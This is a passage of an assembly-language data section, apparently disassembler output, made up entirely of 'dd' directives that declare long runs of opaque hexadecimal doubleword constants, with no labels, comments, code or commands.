		dd 0B85E3D16h, 6A80E482h, 4F67629Ah, 0E2A6F837h, 0AD527701h
		dd 7A6CE924h, 2FE74ADh,	5D6B7460h, 0A5F148DFh, 0C4FD825Ah
		dd 634A0921h, 75F444F2h, 0F158A24Bh, 3A54062Ch,	9A40DA4Ah
		dd 0CEB46EF5h, 3D295991h, 5C0656CFh, 0ED4ACB49h, 0D60A1EEAh
		dd 6B89F1E0h, 103BBA3h,	203081D0h, 583E519Fh, 5C5CA5Ah
		dd 0C98EE98Ah, 0A3F782BDh, 5F6AB57Eh, 2A0F9DF8h, 0C03D5621h
		dd 655E80C7h, 18E91614h, 8C12F34Fh, 165B845Ch, 0FB3DD043h
		dd 9049D2C1h, 9A33317Fh, 71EF2B9Dh, 8715AA3Dh, 51C5884Ah
		dd 7D274C82h, 58F08CC4h, 0FBB32C4Ah, 67156809h,	37858830h
		dd 0F608AC99h, 3FD2D3Fh, 8434DB56h, 0C22DC330h,	0B8417B24h
		dd 4E3AF90Eh, 4AE1C14Fh, 832A4046h, 1E040409h, 508642F2h
		dd 436ED581h, 4801F330h, 0D320C1CFh, 0D0F6591Ch, 0D696D89Eh
		dd 68521A40h, 955F60F0h, 0CD05007Dh, 0C9AF2FE7h, 0F0C94ECCh
		dd 14A7C42Ah, 0C3001990h, 9192F541h, 0C55B5953h, 5F4B23CAh
		dd 30D7C3D0h, 0C077B29h, 1BD811BAh, 0BB0243F5h,	85F067D4h
		dd 9AD2A69Dh, 0BF43C1h,	8F43522Ch, 0E9DF3101h, 949C1071h
		dd 3356C560h, 0E8091766h, 0D42C145Dh, 5E123520h, 64B34429h
		dd 80B8D55Eh, 0A04638ECh, 73686F08h, 1BC42C23h,	0BB0B19Ah
		dd 65606612h, 0FCCEAC0Ch, 0B989743Dh, 70AE0BC1h, 190294Eh
		dd 0D7F70DC4h, 882C4383h, 904F5B63h, 30E93DD8h,	687573A5h
		dd 71B00B79h, 0EA214BB8h, 0A6A701C0h, 0FC126E2Fh, 3E562CC2h
		dd 8A0785Ch, 36FCE682h,	9B47C581h, 0EC6CAC12h, 0C2908334h
		dd 55297F29h, 3501924h,	859CF380h, 0DE3AF2FFh, 77134EE4h
		dd 8691A061h, 0EBEE6D93h, 3D5B6D83h, 0CE0E02C4h, 282C22CFh
		dd 6602CB20h, 62E97DFEh, 0B1C77D3Ah, 174396ACh,	0BE25037Ch
		dd 47C93AC4h, 1BE950B3h, 47497ABBh, 0E2C95DEBh,	0F1857F11h
		dd 0B9ACEEEh, 7FDF5CE9h, 0ACB04B64h, 11306127h,	6F20505Ah
		dd 0A417161Eh, 0F7996118h, 738220DAh, 8FB1ECA4h, 1FB6488h
		dd 0D257C168h, 86B07F0Bh, 5BD9002h, 0F641F0F7h,	4E11249h
		dd 0AE632470h, 0DE06ABF9h, 0C79BD15h, 0AD57081Fh, 7EC55027h
		dd 2FFABAE2h, 0BE755BDFh, 3271BF95h, 752DAA20h,	0E4E627Ch
		dd 0BC6BA407h, 0E4D3A8AAh, 0D18021BEh, 579BBD8h, 6902685Dh
		dd 160F65EEh, 0AA1D5A71h, 5C9AE140h, 0D6E8B996h, 7372EF0Ch
		dd 6AC70AE3h, 1DDB6809h, 2801897Fh, 7B9DA350h, 0BBC1134Fh
		dd 0E82FC33Dh, 4ADBC0DCh, 37E96D5Ch, 0A0201AEDh, 73984571h
		dd 0E139E095h, 0C1129D2Bh, 0C5050EDDh, 0F5C14A84h, 378218E7h
		dd 35F32DA7h, 739558F5h, 1673EA40h, 185AD721h, 652B3C1Bh
		dd 0E3D54450h, 3449EA1Eh, 1675CC30h, 430E4D43h,	2C50422Dh
		dd 780174BDh, 5D817B9Eh, 0EA30983Bh, 6E796201h,	632B687Ch
		dd 66066636h, 8854C676h, 4CB1D001h, 50D5E928h, 0D0A76Ah
		dd 0E5C0A9B5h, 0EDD003h, 6640C580h, 0FFB65253h,	0D94DBEB0h
		dd 7E21EA3h, 10F0781Fh,	9FF8215Bh, 5F726174h, 592F8D53h
		dd 0F354AFDAh, 0F408E870h, 12F8F8C8h, 0CCA6A1E9h, 0E09624FBh
		dd 26ABF5AFh, 0C8BF7950h, 64015BADh, 0E2EB14D3h, 4750154Dh
		dd 7E8A818Ch, 0B4400D4Dh, 5C7B65EFh, 0B1736868h, 825345E5h
		dd 5C48F922h, 273B5DBDh, 8229B09Bh, 24A1F181h, 0BAB9D31h
		dd 17CB0E8h, 4F56862h
		dd 0FD559955h, 0BA3EF9C5h, 28739593h, 0F614FA5h, 0BF8C060Eh
		dd 7615771Bh, 88693441h, 8494A9D6h, 3CB991E0h, 3E1A2C02h
		dd 0F7032952h, 503801D1h, 516844BCh, 4CE06F5Dh,	245681BEh
		dd 7CB091ECh, 230FA6E7h, 407BCE02h, 0F4F5408Ch,	3AB9806Ch
		dd 158B082Eh, 0CF35C181h, 0A32E5130h, 2DE90960h, 9782E45Fh
		dd 1D2F4680h, 55FE386Dh, 27E8914Ah, 1D34EAB5h, 0E6C92AACh
		dd 55B0DBD0h, 7F1B14EEh, 0F8D90DF4h, 50EE134Fh,	9472DA71h
		dd 0B4CA81FAh, 2107920Fh, 0FEEFD848h, 5BB0DF5Eh, 8BC21201h
		dd 0BF08840Ah, 5B80DFBDh, 5D7EB373h, 1DECFBBDh,	3D05898Ch
		dd 420165Fh, 4837DDF6h,	6248215h, 6856A441h, 0E9550B11h
		dd 1D90D7D3h, 0CC016B89h, 402E355Ch, 699C4A77h,	0FACB56E9h
		dd 1D5095CAh, 0DA51BF5Ch, 0AAD7EA32h, 792A0C8h,	61A2F701h
		dd 4BFC0896h, 0CCA5BC7Ah, 1C0BDCDAh, 845D18D5h,	0B7C9E246h
		dd 58C019ECh, 244C7C0Bh, 1B68E187h, 1A00E75Bh, 0C1478476h
		dd 25027FEFh, 4DDE5158h, 0D049F3C3h, 3B19BE4Ch,	29254574h
		dd 307700F5h, 20F160Eh,	24DBF57h, 0D9604BCAh, 522FD9C3h
		dd 0E9854007h, 2D2994B4h, 563065F6h, 4BF9408Bh,	345A846h
		dd 0A011CB0Dh, 2FA2E28h, 5F6588D7h, 7682803Fh, 8D355E51h
		dd 204F3008h, 6D0F2D22h, 25444Ch, 0F58158C5h, 14A467E7h
		dd 8AEB0156h, 0AEA54E7Bh, 0FD926527h, 43E6DD86h, 0C4BB5F49h
		dd 6805C97Eh, 5424B05Eh, 839689F6h, 7B69A3ADh, 99291326h
		dd 0B5A1FC3Ah, 0FA4E07E8h, 16C2A348h, 2ABEF1B2h, 6882C6BDh
		dd 0B2576F71h, 0EC73FF1Eh, 572DEBACh, 0F1BDA634h, 679F638Ch
		dd 80BB7200h, 684F7564h, 7271BFEEh, 28E95384h, 0BAB0A0h
		dd 0A2B4695h, 481DE281h, 0D8EBB951h, 8B160F8Eh,	95434A02h
		dd 0DB567CCAh, 83F2F863h, 1D33026h, 0D51FAC0Ch,	18F5645Ah
		dd 0AA23942Bh, 32E9CA44h, 9B5DD2A9h, 4AD5C310h,	3A9CD9EAh
		dd 700790A0h, 0DCFEB552h, 0E5E94E54h, 5A0CA7C9h, 5AB5F6D5h
		dd 0D49FB691h, 887085D9h, 680935E7h, 95593973h,	0DE6C068Bh
		dd 1965EF36h, 7FB1DA92h, 1AB39528h, 3D5EFB09h, 0F9FE21h
		dd 0E9A7ECFAh, 34D74D49h, 0C6131CEDh, 1D16BE2Bh, 4046F5CCh
		dd 3E9851E7h, 0D9579C03h, 9A0B977h, 0D6D8E90Bh,	5A5BA25Ch
		dd 0E211FD8Ah, 0F6E90233h, 0AD00EEDCh, 9B22B62Dh, 0F82EEB32h
		dd 0FC977A7Fh, 64A7BBE0h, 0B461CCE8h, 3D9AE3D4h, 84DE41EFh
		dd 0AD136ABFh, 0DFD11E10h, 41AF9712h, 0F8496CA9h, 0A2102E32h
		dd 545B2F07h, 0B82E0858h, 81ABCB3Bh, 3A2DCD0Eh,	9D06C6B0h
		dd 6CEB70C8h, 2C4D1205h, 0AC4CB29h, 3759080Fh, 6CB09DF0h
		dd 0EFE94B62h, 0D89993FDh, 29D0C8EEh, 7B5ED062h, 0E56800E0h
		dd 364F617Ah, 0E9828BEDh, 80A930C7h, 7CB750DDh,	1D20976Eh
		dd 72627B98h, 6CDA0925h, 0FBEA5D0Ah, 1871CB02h,	10C34A5Ah
		dd 57DA29DBh, 601FA340h, 0C526D763h, 36E3E07Ah,	9D54801h
		dd 5DD462Ah, 0C427BFE1h, 9462C035h, 1262A768h, 5453E9A3h
		dd 0BF7C2D0Ah, 0BB60B8F8h, 2BC927ACh, 68A33029h, 7C919B5Bh
		dd 0F32F711Dh, 0C6859578h, 9F0A6E65h, 841F0182h, 372A8606h
		dd 0D50BCCFEh, 0B83EA06Bh, 8B3F9F0Bh, 39DD666h,	311B0DDFh
		dd 0B55DF898h, 2D406C0Fh, 828A6BE2h, 20D68138h,	6E2B23EBh
		dd 6001715Ah, 9678FA7Eh, 0DF0EF07Fh, 0C3B13565h, 0D2395EBAh
		dd 4AF4A898h, 7A10E2B7h, 7E681363h, 8484CAADh, 22A9AF23h
		dd 0DBB2EBD2h, 841CBC4Ah, 0E612269Eh, 2BA017EEh, 0E23A85C9h
		dd 792D9F38h, 2116AFFh,	2E433944h, 0B300A462h, 2B932475h
		dd 238E5060h, 9659D79h,	0E70984B8h, 0EB0F5B04h,	38E86C13h
		dd 2B9E09B4h, 0F7EBEFDEh, 5109471Eh, 0A15BE958h, 0F38853D7h
		dd 1405D7CAh, 2C68ADBEh, 240CF3F9h, 1EFD158h, 4669BB5Dh
		dd 2A293B0Fh, 2E6837DDh, 0F487D59h, 69A11C10h, 3892821Eh
		dd 72EC774Ah, 5808FEB5h, 6905F6B8h, 0FEE97253h,	0A05DC8A0h
		dd 99EC1548h, 5B014BE5h, 61FD7864h, 4441DBA9h, 8DE13E08h
		dd 632CBB3Ah, 35E62FE9h, 974D1C7Dh, 60711A5Fh, 82A3D3A7h
		dd 60B716E0h, 978B088h,	0C2881504h, 0EB65D485h,	6B9424E2h
		dd 92021C1Fh, 110BAF0Fh, 514B2976h, 128D36EBh, 759D02ECh
		dd 0D69185A2h, 5537CF82h, 0B1D844D5h, 25010B32h, 51C550D6h
		dd 0D4A1951Ah, 0FF51723Ah, 48ECE985h, 0A9BFCE64h, 8CAFB470h
		dd 0E9715086h, 69B31B4Fh, 622DAFD3h, 680CBA79h,	14836D42h
		dd 60EEAB5Eh, 23C380F9h, 3A1156BFh, 6C33E9B8h, 6AB9CBEBh
		dd 0E5983AA6h, 3A3245D3h, 0D4E266ACh, 0B905E958h, 47C0308Ah
		dd 0E150A0BAh, 0B413513Ah, 0C81F1227h, 0E5DCFA00h, 48CE3190h
		dd 0E3270159h, 567C6EEEh, 0C2FF530h, 48BA442Dh,	9A1017BCh
		dd 0D9881627h, 0B3101FA6h, 20BD0356h, 0D27B1C04h, 72A58F7h
		dd 4D1E55BEh, 7FADA326h, 66FF1450h, 0F840CE41h,	25D52D01h
		dd 0E0D57133h, 5D0AE9B5h, 0AB84287Bh, 9C680299h, 94E3F470h
		dd 69075F3Ch, 0B506863Dh, 257AE835h, 0E227DFBAh, 60EBC2D3h
		dd 29D2E5B1h, 0ADFC3493h, 0A4506DBDh, 7DB880F3h, 49F6CD26h
		dd 6B416F09h, 0D924BF52h, 5D306CA9h, 58F72D06h,	474F932Ch
		dd 0DD57E50Ah, 3042DE6Eh, 5C692C7Fh, 0E3F198D8h, 0E3FED7F7h
		dd 8F604D5Fh, 2381915h,	0E6ECBB09h, 0F8F5F6C7h,	90CECDDh
		dd 294F4113h, 820DEFCh,	0B59D96B7h, 0F25F2C6h, 27D5C6F3h
		dd 79462F5Ch, 206962F2h, 4EAF7512h, 3004471Bh, 4184027Ah
		dd 9A6BDAAh, 9C5E5A56h,	5B4A4C37h, 95493905h, 0B05DC443h
		dd 9CB04018h, 165447E2h, 0B90551F6h, 485D2362h,	0FCE755C2h
		dd 6E1762B3h, 2A0D6009h, 0DDFE860Ch, 0CBB45D4Eh, 2713EAEFh
		dd 0CFD92047h, 0B0FB360h, 3BCBFC12h, 2C7C505Bh,	0A599BAE9h
		dd 4E2070F8h, 20FFB88Eh, 8BB73F7Dh, 20EDDAF0h, 0D12D521Fh
		dd 92CDD4E2h, 0BD8D40CDh, 416821E3h, 97078E98h,	2974632Fh
		dd 8ED086Bh, 38445D17h,	0FA1759B5h, 0F0EA2B32h,	0ED149510h
		dd 0EF9675FCh, 0A515DF27h, 0D6E48085h, 4AE63C4h, 0F46C479h
		dd 0A9F4A406h, 28B241C0h, 0EB4B98E3h, 5FAB612Bh, 0BF889F7Dh
		dd 771F4BC5h, 95BAD0AFh, 5676E650h, 6C18F3F2h, 0C00C1624h
		dd 3C382806h, 582C00C4h, 0FD29D11Fh, 0D84E9CE9h, 91D352C8h
		dd 1F2D0BBBh, 8F2C6146h, 40528550h, 80B54D3Ch, 91522BBh
		dd 1AA02E6Dh, 6041BD0Dh, 2F215B89h, 33D65EF2h, 0D620DF2Fh
		dd 8C9375E4h, 4B7592A2h, 0E20C5E8Dh, 0C7C5102Eh, 1675A65Ah
		dd 31A2C330h, 0E96C6887h, 62897D51h, 6C15D4F2h,	395CD252h
		dd 78C2818Ch, 66AD55Fh,	2FC04A05h, 0DF44682Eh, 0D4293BDh
		dd 689438FEh, 9494609h,	711CFD1Fh, 0F70BE109h, 55EAFFACh
		dd 9A799902h, 68073077h, 884A496Eh, 2F6F5B81h, 0C3B03E61h
		dd 38F996C3h, 5EC11B4Ch, 311FD256h, 5482132h, 1CA1FC08h
		dd 0EBBEFB31h, 7640208h, 68AD009Bh, 36AB1082h, 3E0F34C0h
		dd 1525FB98h, 46EC77FDh, 0A15DB72Dh, 0D0095EDAh, 8270FF70h
		dd 0E25FF989h, 7E9C7D17h, 25D6801h, 505F48CEh, 797D6C81h
		dd 6B09582Ah, 23F8B4h, 570D4CA2h, 68535F59h, 0A740AC09h
		dd 0DF4Bh, 3E021370h, 0FAEED390h, 0BB7C22Fh, 1E207DFBh
		dd 53CC94D3h, 0B63F2941h, 579A12FEh, 0A4495D8Ch, 28EA05E7h
		dd 0ED8EFBCFh, 24AA101Bh, 6AE72D00h, 7F057CEEh,	22033874h
		dd 3704360Dh, 0FD0AF80Bh
		dd 318235A2h, 0A90F9C4h, 9A2565A5h, 723E3409h, 3D5C713Ch
		dd 69702CEh, 0E1B74EE4h, 9DF80ED6h, 0E54B6F07h,	5324FEF2h
		dd 0F7FB980h, 81613E67h, 9D482A05h, 0AF13AA7Bh,	0F55BE0h
		dd 0B536B110h, 5BE9EB31h, 8409462h, 1F867CBh, 0A8B35350h
		dd 62B82F88h, 96A9E9C2h, 0F708325Fh, 0F760D132h, 659DE36Ah
		dd 74300BA1h, 0FE4A5730h, 0D046DF82h, 1794A5F6h, 54E90517h
		dd 0A0DDF04Ah, 2810C64Dh, 484E80FEh, 471662E3h,	0F1EED01Dh
		dd 954E35C3h, 0E8A0FD80h, 0AFA14EC8h, 89259CCBh, 4FF00EECh
		dd 209685B9h, 0BF5F21A0h, 0BA60B059h, 4B570199h, 7A0EB113h
		dd 9B828258h, 734725E8h, 0F6DD6FC1h, 0C50ED9FFh, 5F8FC27Dh
		dd 52F85D04h, 8DE152CFh, 3A70F280h, 0CA3807BFh,	9FEA93B3h
		dd 70B0620h, 5AD788CCh,	0F7C13FF6h, 5CE7860Eh, 0E20D8836h
		dd 0EF65266h, 0F5535AD4h, 5B280E3Ah, 400536FBh,	5EFC07Fh
		dd 5FA39CA4h, 0B315401Ah, 317C2464h, 37FC94B8h,	801671B2h
		dd 401645ECh, 68D545AEh, 65B4EB24h, 7CDA70B5h, 0AA5948EBh
		dd 5D8AC45h, 382C384Ah,	0D32DF350h, 0B073A80Fh,	0E15A72E9h
		dd 7838EB3Eh, 8B1B67EDh, 0CD665EF5h, 2F190CEFh,	0C676EB30h
		dd 6FBAB13Ah, 0BB976AE6h, 0E7308Dh, 6B8DBF53h, 0E7814370h
		dd 0D6508516h, 0A00BF6ACh, 4100E92Dh, 106390C7h, 0D72F2F7Bh
		dd 0EE270297h, 0BB5B053Bh, 0CF04D5B2h, 0FE0E7F9Eh, 0A5623109h
		dd 8F172CEFh, 480DE59Ch, 9A81921Dh, 301BC650h, 52F00E45h
		dd 21EF954Bh, 743AE9F2h, 0A21FBAA0h, 0C02779CBh, 0FEC729B8h
		dd 81CD5D44h, 0F35EF317h, 0F0311CB4h, 0F8E9C68Ah, 896BEF26h
		dd 6DB046Eh, 304E4EE6h,	5BDF0126h, 396D595h, 4648502Dh
		dd 82E835AAh, 0F6991285h, 4243255Ch, 0FAB4D882h, 2BC8003Ch
		dd 0B6B79D05h, 0C224E9F2h, 92C4FB6Bh, 2568E2A0h, 13E61F89h
		dd 0D6679627h, 2A7A62D5h, 4141ADDEh, 0C33A258Dh, 1BD62B2Dh
		dd 5C4F4EECh, 3B24D791h, 3F3F32Fh, 4F29F2C2h, 222A10B3h
		dd 0C9067C43h, 1A1E324Dh, 2656FC0Ch, 1C3D2A1Fh,	2B6A0E8Ah
		dd 0A4A093BFh, 0DC14803Dh, 5BE3662Ch, 0E90A04FEh, 0BE5DA0D1h
		dd 7ACE024Ah, 46207A48h, 8B0DF4BFh, 33561A73h, 42D1062h
		dd 27D8EF88h, 61FD7230h, 0DFF608EFh, 5366E086h,	0EE9500Bh
		dd 0E952D4A0h, 2D23BDDh, 0A0B0504Ah, 0F04041B3h, 51F26658h
		dd 0B41DB102h, 491BE937h, 0B9D354CFh, 0A5481820h, 405041C6h
		dd 317ED699h, 47C2705Fh, 2D1C7469h, 918CBA5Fh, 0F582A918h
		dd 37E76840h, 5B48A455h, 1B62FA16h, 29C7E83Ah, 0E67B0CAh
		dd 0F17BEFE2h, 768FBC5Dh, 0E492F333h, 39055DB9h, 0FCE90754h
		dd 0AF4B09FCh, 3CED1F38h, 15AB566Fh, 506C25C8h,	185EF52Dh
		dd 5BCCE968h, 0E170240Fh, 6E29ED70h, 0D7EB1440h, 0B476DA5Dh
		dd 2D82C4Dh, 67BA0D16h,	0FAC6407Fh, 5F843B2Bh, 0AF77E98Bh
		dd 0D568B5B1h, 0C55D281Dh, 16A3E56Ah, 0F83405D2h, 0FFB3AFF6h
		dd 0E9A0E8D4h, 3DC3247Dh, 9F57BA66h, 7E6835A2h,	4208CE21h
		dd 0F2127828h, 15E4EA7Dh, 20B50BF1h, 3AD8057Bh,	22EA620h
		dd 0D1BE3BBh, 0C9FC4B3Ch, 0F82A144Dh, 0F94B527h, 2C13DBE6h
		dd 0EE8EAF7Dh, 0FE4BC343h, 0DBA8B5D5h, 1A4099ACh, 3D3A2EBBh
		dd 174B13BFh, 6991FA11h, 6806BF38h, 3AFC015Bh, 0EA00AD58h
		dd 4D23760Dh, 81FB90E9h, 3D55C563h, 530132Dh, 0F94CBD12h
		dd 5C12A15Bh, 2EA64DF8h, 5D274A96h, 6814C514h, 0CAFC70EFh
		dd 0FF72F854h, 0FF81B3CCh, 0BE032AE1h, 0F23C2CACh, 11405DD4h
		dd 0D7952114h, 793A91A0h, 0BA0568FAh, 752937A7h, 0B04B12FEh
		dd 0F0E68178h, 148F1D1Fh, 0E97BD019h, 44AD9FF1h, 489FE814h
		dd 9458527Dh, 0E42D6006h, 0F34B366Ah, 0C80031B1h, 48EBC03Ch
		dd 0E26FAFFh, 8921CFBDh, 0F8C261CDh, 0C6BD1BF6h, 5A34B087h
		dd 0B220FFA5h, 0B6C053B0h, 34010726h, 0C5E627ADh, 0B67EC0DBh
		dd 0F05C28DAh, 0EE800E7Fh, 0FDC66738h, 2FBD730Eh, 0EB2AEC16h
		dd 9DC41CC0h, 58E63328h, 51A03828h, 7D90F588h, 0D109A242h
		dd 0E9768D12h, 2B13A5A0h, 2A1F87F7h, 4C5E12FDh,	0D41ABE56h
		dd 0AF567CEEh, 0EB9D41E0h, 86C3DC9Eh, 0F55F0217h, 7C43980h
		dd 51004ED0h, 2C32E5B9h, 60C7E944h, 0F8F12996h,	0CA4CABF5h
		dd 7C1C2DACh, 0D955E9C2h, 6BDC4BE3h, 0F73FDAC2h, 6884F3F9h
		dd 33D918D1h, 4BBBAF05h, 47400278h, 3607E3Dh, 0AC07160Ch
		dd 64E92FAFh, 38571562h, 88BD7E6Ch, 991464C5h, 6A1DCBFh
		dd 73E1434Ch, 7901A0Ch,	88F7F005h, 0C3408D4h, 55D1409h
		dd 0FA985785h, 0B075D7BDh, 33168E3Fh, 4D093A28h, 7E327513h
		dd 0AF77E5D5h, 5B9044A1h, 0EDEA70A8h, 0EA085218h, 95D8975Ch
		dd 7DAB32F7h, 0D5A52E76h, 0E80BAD30h, 0B5FFE7D2h, 9DA27B91h
		dd 0B80F8EF6h, 339437DDh, 28356BB0h, 17C24F7Ch,	0EC1F61E9h
		dd 6280C4A4h, 1497F418h, 2D0D3C0Dh, 0B46B0B95h,	0D767391Eh
		dd 79645E92h, 5E3037E0h, 51BF38E8h, 0D202E912h,	2B5DE5ABh
		dd 433A48EEh, 6A172D01h, 44E82CA1h, 1A3BBA6Fh, 555859EAh
		dd 22264961h, 0A659CF34h, 951A232Dh, 0CB522DDh,	8C830918h
		dd 59AB607h, 893A297Dh,	0B7B2AEh, 550A95CDh, 90297F34h
		dd 71088226h, 407C2FACh, 5596978h, 93686045h, 20A7F90Bh
		dd 7D0EB048h, 42E42657h, 3C8B6233h, 5D5A3AFCh, 0A585BF16h
		dd 7A03E909h, 4AA590FEh, 0E97D175Eh, 0A8C180CCh, 92205109h
		dd 844E57Ah, 2F3E29AEh,	0BAA4BCACh, 73E9899Ch, 1FBE80EBh
		dd 23723A15h, 0C54C73A4h, 25FC0E21h, 1049ABF6h,	2EE01BD7h
		dd 16888D7Bh, 0C72CBC40h, 54D2AFEEh, 9DFBD75Ch,	1F0E984h
		dd 0FB3C38Ch, 0DE885221h, 0A6401FABh, 2E7838B8h, 6AC5F9FFh
		dd 4A8FA3B0h, 54D02287h, 4E256744h, 9CEDC895h, 45BD356h
		dd 13F3C9BFh, 0D277E2BFh, 2AC2F5EBh, 1BE8BC4h, 0D5498BA5h
		dd 0D1BE2025h, 5AAA41B7h, 73B69520h, 2D080063h,	47361298h
		dd 1E6952E9h, 2F00D762h, 1AE1B8C8h, 41DD297h, 0B94F26CDh
		dd 3A38807Eh, 2213A36Eh, 4D00E5C1h, 8FA551EDh, 0F71EC192h
		dd 3069A27Eh, 94BDDD4Ah, 978180C0h, 83F7B61Dh, 4F1A014Eh
		dd 0C4E9CE9Bh, 0D7D07F63h, 7B5B0EA2h, 127C4A40h, 4BFBA27Ah
		dd 8000E45Fh, 0B551BEF3h, 70F5ECCEh, 59EB013Ch,	0FE7DB252h
		dd 0A5F2ECC2h, 3EAC018h, 0B518E910h, 8900A46Ah,	0DF214D6Bh
		dd 4994799Fh, 0AD66CF7h, 686F1B11h, 0E790292h, 0FE606526h
		dd 0F27198Ah, 61E2D77Dh, 835E0805h, 3C000316h, 3E646A5Bh
		dd 9685346h, 494F7644h,	0D88A09DDh, 9D809B1h, 3B032ED3h
		dd 0CDA0F72h, 0BA7E47Dh, 710EA0D7h, 51684DDh, 0C30349BDh
		dd 0E6D09224h, 4F23EAB0h, 1320A09h, 67165FDAh, 62F5108Ah
		dd 80C6B23Ah, 6254148Eh, 3CC49067h, 32373917h, 6024500Ch
		dd 0EC14948h, 8894C621h, 4583E02Ah, 544545Eh, 0FE4551B1h
		dd 7A6AE5F9h, 0CCB60F85h, 14139310h, 0D252C768h, 0D68F2031h
		dd 32A32589h, 0A809979h, 0E976E35Dh, 34849D6Fh,	4525AB5Ah
		dd 8433E2EAh, 239458E9h, 7E99A7AFh, 0E5B3F82Dh,	0B85F1622h
		dd 2A74B2Ch, 0C691FB93h, 6187C183h, 39B63B4Eh, 19562F80h
		dd 0B0BF6132h, 2D66BD5Ch, 63593C55h, 95B5E60h, 0E91C0877h
		dd 290C4CE1h, 0BF5292F8h, 0BBEDF098h, 4828BD80h, 2D7A0F6Ah
		dd 297257B1h, 0D15456EEh, 764DBDA2h, 80128157h,	786CD2E3h
		dd 88529D04h, 2DC1FEDAh
		dd 0C0D0F65Bh, 0A0561E8h, 0E0FEAD2Ch, 302B6F34h, 0B528E6C3h
		dd 0E224F67Eh, 8F3EB307h, 4E3BCA80h, 5003BEDAh,	0C35AD330h
		dd 0AFE9B0DBh, 6888C028h, 36ED1849h, 2C4B8CB0h,	0A6BFA700h
		dd 2738E17Ch, 254F931h,	5DA25552h, 0D81B1D43h, 95356FEh
		dd 4B020EBBh, 5FB0D25Dh, 0E9F3A45Bh, 0DA39512Fh, 0ED622D31h
		dd 1674C998h, 7544E9Fh,	2CBAEF80h, 53F800D3h, 0B9FBEE9h
		dd 4FE5550Eh, 51464989h, 9DD256Ch, 0FF6557B1h, 0CE7F85BCh
		dd 0B201D12Ah, 1ABF6475h, 245B99D4h, 0D14CFD9h,	6E3785E9h
		dd 4B3D6AACh, 8714432Ch, 31CFF780h, 202881C7h, 0A64A120Fh
		dd 6EBB39FFh, 32E2D012h, 8A4429CBh, 0DED3E913h,	7038B798h
		dd 76FEB561h, 4571E9C1h, 563C7273h, 964E82DCh, 28F3AA43h
		dd 8CB90E99h, 600A2992h, 0D30D370Ah, 0AEA3063Bh, 5F5A723Ah
		dd 297DE3B6h, 12D81E99h, 97D568Bh, 317030E9h, 91F9BD5Fh
		dd 8031BA71h, 0B433CEF3h, 0A3B5430Dh, 9859E881h, 7739587Ah
		dd 67CC3D70h, 30FFAE16h, 8555197Dh, 564281B5h, 0E220925Eh
		dd 916603EEh, 0F02999B7h, 0E9CBFBDCh, 4AC76D50h, 0B8F141A4h
		dd 0EC0B3B36h, 949FA560h, 1F4E2571h, 0F025C746h, 906462Ah
		dd 3B700544h, 0B22F19D0h, 0A0C5EEB4h, 75252777h, 834B0B62h
		dd 26F501C3h, 26192945h, 0A56DF1E9h, 0E8127574h, 0C51FE71Dh
		dd 1A29674Dh, 0C098C1EEh, 8B2E3021h, 13814EA7h,	0AA818653h
		dd 1DE9D2F6h, 0F3992A1Fh, 0C0973628h, 7D8F1DE7h, 9DDBAAA0h
		dd 2D632058h, 272BC5h, 0CF44DC44h, 0EB5EB50Fh, 2E84A109h
		dd 3870C504h, 0F3ED540h, 64F70C5Eh, 0AB2D64D5h,	40D2B58Ch
		dd 0E6B8663Ch, 181F2AE7h, 0F409B13h, 40934A05h,	0F55CBDDAh
		dd 5CA16009h, 220CB9D0h, 5B9A5281h, 0BF713E00h,	9E9EA01h
		dd 7A3A9DDFh, 4277C262h, 0A337C013h, 8E50EC0h, 0C54BCDFEh
		dd 82DF3E84h, 4CDE368Bh, 14184BBh, 0E8B53E21h, 83BB0804h
		dd 0F3706CB1h, 3058E70Bh, 8DFEC5F8h, 41534367h,	6B26FC32h
		dd 0B980E9F3h, 6BAB5D2Bh, 0A2D12925h, 0BBE115Bh, 6983250Bh
		dd 0C0AD0D27h, 1829F6DDh, 1087B09h, 7E795FF3h, 0D9D17752h
		dd 97B5784Bh, 0AF965514h, 2074443h, 0AE97BA18h,	10D48357h
		dd 68927D25h, 0EC50FA0Bh, 0FC252194h, 0FAE9F8D9h, 2558CAAh
		dd 74ABD9C8h, 0EEF288C9h, 0F5EF720h, 8ACC8631h,	9B0BD406h
		dd 5D63B247h, 7CEE1330h, 0DF970175h, 325E2D33h,	0EA0412EAh
		dd 78101EF2h, 7128CD19h, 3A87BE30h, 0DAA74ACAh,	0D5B148D5h
		dd 0ACC90969h, 3FF9D621h, 3B56F660h, 1E177C3Dh,	0AF6AC2CEh
		dd 42685700h, 4F03FD19h, 55303558h, 0DC29C71h, 72CD0849h
		dd 2561515Dh, 0CD813865h, 5F17B445h, 0AB2D052Bh, 0EA8F4087h
		dd 16AF4F9Fh, 400BC2ECh, 864D7F1Bh, 0ECAB1CDBh,	0A7550BADh
		dd 8FD0017Ah, 3B030881h, 27E911C8h, 17DCDC0Eh, 7082054Fh
		dd 0F7BBC932h, 5D970FF0h, 146CA08Eh, 73002D20h,	3572024Fh
		dd 4CD78564h, 381685F4h, 0EDCE452Ch, 4C8FAB2h, 0D8024A04h
		dd 6C40CBBAh, 0E4D0315Bh, 42DF43Ch, 3C07D5BCh, 0C233107Dh
		dd 3D4817C0h, 0EB2F3128h, 2EF041h, 1EF61BA8h, 6B1999BDh
		dd 97257D98h, 0C6447715h, 50CF0116h, 68012E8Ah,	261D2140h
		dd 8BF86BE9h, 4B86BD02h, 67601408h, 209CD81h, 806C8270h
		dd 1A2A3741h, 520CC235h, 5B61EDE1h, 0C28B3BE8h,	89FDC527h
		dd 456B840Ah, 0C235ADABh, 7D23A668h, 407FC71Ah,	20695115h
		dd 840847BCh, 166EC73h,	31B4F59h, 0BE68E2E9h, 53FEDC1h
		dd 0B6F58345h, 3508051h, 68DE7542h, 0BFE4312Ah,	0FA4FAAF8h
		dd 0BA2F8F29h, 75FAE125h, 7BA1AA5Dh, 0FE08942Ah, 5F4FBAC2h
		dd 0CC817FCh, 5065E909h, 1D15E78h, 0D39E85DFh, 0FAFC7F3Ch
		dd 64D9B310h, 31920DC0h, 3D105DF1h, 3004AFB0h, 0DA8858C3h
		dd 800EB4CBh, 0F2661ACAh, 6E40365Ah, 10E8BF42h,	0BC4A7BD5h
		dd 7F388AE1h, 0B00D08B5h, 27EF702Fh, 0C2930ABDh, 732035F9h
		dd 6A68024Bh, 0CC48B569h, 772E9731h, 2D18A982h,	33E93EE0h
		dd 7B5C7F1Fh, 520401FBh, 0FD50C5BAh, 89251E2Bh,	0F052A942h
		dd 6A2C5616h, 6CE36907h, 0B008C463h, 271AACEBh,	38607F9Ah
		dd 480D54Fh, 0FBDC974Eh, 0F9E8C56Fh, 0F71750AAh, 91718E0Bh
